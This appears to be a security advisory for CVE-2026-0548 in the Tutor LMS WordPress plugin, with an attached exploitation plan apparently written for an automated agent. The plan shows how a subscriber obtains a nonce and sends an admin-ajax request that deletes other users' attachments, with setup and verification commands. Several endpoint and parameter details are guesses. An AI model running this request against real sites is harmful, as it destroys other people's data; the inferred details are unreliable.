Tutor LMS – eLearning and online course solution <= 3.9.4 - Missing Authorization to Authenticated (Subscriber+) Limited Attachment Deletion
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0548 (Tutor LMS Arbitrary Attachment Deletion) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.4) contains a missing authorization vulnerability in the `delete_existing_user_photo` function. This function is intended to allow users to delete their…
Show full research plan
Exploitation Research Plan: CVE-2026-0548 (Tutor LMS Arbitrary Attachment Deletion)
1. Vulnerability Summary
The Tutor LMS plugin (<= 3.9.4) contains a missing authorization vulnerability in the delete_existing_user_photo function. This function is intended to allow users to delete their own profile or cover photos. However, because it lacks a capability check and fails to verify that the attachment ID belongs to the requesting user, an authenticated attacker with at least Subscriber privileges can delete arbitrary attachments (images, documents, etc.) from the WordPress media library by providing the target attachment ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tutor_delete_existing_user_photo(inferred from function name) - Parameter:
attachment_idorphoto_id(inferred) - Authentication: Authenticated (Subscriber or higher).
- Preconditions: The attacker must know the ID of the attachment they wish to delete.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action for logged-in users:
add_action('wp_ajax_tutor_delete_existing_user_photo', 'delete_existing_user_photo'); - Function Call: When a request is made to
admin-ajax.phpwithaction=tutor_delete_existing_user_photo, thedelete_existing_user_photo()function is executed. - Vulnerable Logic:
public function delete_existing_user_photo() { // Missing: current_user_can() check // Missing: verification that the attachment belongs to the current user $attachment_id = (int) $_POST['attachment_id']; wp_delete_attachment($attachment_id, true); // Sink: Deletes the file and DB entry wp_send_json_success(); } - Sink:
wp_delete_attachment()is called directly on the user-provided ID.
4. Nonce Acquisition Strategy
Tutor LMS typically uses a central nonce for its AJAX operations, often localized as tutor_nonce.
- Identify Trigger: The profile photo deletion logic is part of the Tutor LMS "Settings" or "Profile Edit" page.
- Create Page: Ensure a page exists with the Tutor LMS Dashboard shortcode:
wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]' - Extract Nonce:
- Navigate to the Dashboard page as the Subscriber user.
- Tutor LMS localizes data into a global JavaScript object, usually
tutor_get_conf. - Browser Eval Command:
browser_eval("window.tutor_get_conf?.nonce")orbrowser_eval("window.tutor_get_conf?.tutor_nonce").
5. Exploitation Strategy
- Identify Target: Find an attachment ID belonging to the Admin (e.g., a header image or sensitive upload).
- Authenticate: Log in as a Subscriber-level user.
- Obtain Nonce: Use the
browser_evalmethod mentioned above on the[tutor_dashboard]page. - Send Malicious Request:
- Tool:
http_request - Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL Encoded):
action=tutor_delete_existing_user_photo&attachment_id=[TARGET_ID]&_wpnonce=[NONCE] - Note: If the parameter name is not
attachment_id, check forphoto_idormedia_id.
- Tool:
6. Test Data Setup
- Admin Attachment: Upload an image as an administrator to serve as the target.
wp media import /path/to/image.jpg --title="Admin Secret Image"
Record the resulting ID (e.g., ID 123). - Subscriber User: Create a standard subscriber.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Dashboard Page: Create the Tutor LMS dashboard page to ensure scripts and nonces are loaded.
wp post create --post_type=page --post_status=publish --post_content='[tutor_dashboard]'
7. Expected Results
- Response: The server should return a JSON success message (e.g.,
{"success":true}). - System State: The attachment with the target ID should be completely removed from the
wp_poststable and the physical file should be deleted fromwp-content/uploads/.
8. Verification Steps
- Database Check:
wp db query "SELECT ID FROM wp_posts WHERE ID = [TARGET_ID]"
Success: Query returns no results. - Media Check:
wp post exists [TARGET_ID]
Success: Returns error or empty string. - File Check: Check the path returned by
wp post get [TARGET_ID] --field=guid(before deletion) to ensure the file is gone.
9. Alternative Approaches
- Parameter Guessing: If
attachment_idfails, tryimage_id,photo_id, orid. - Contextual Nonces: Check if the nonce is located in a different localized object like
tutor_varsortutor_data. - Rest API: Check if Tutor LMS registers a REST route for the same function, as authorization is often missed in both AJAX and REST handlers. Look for
register_rest_routewith a callback todelete_existing_user_photo.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.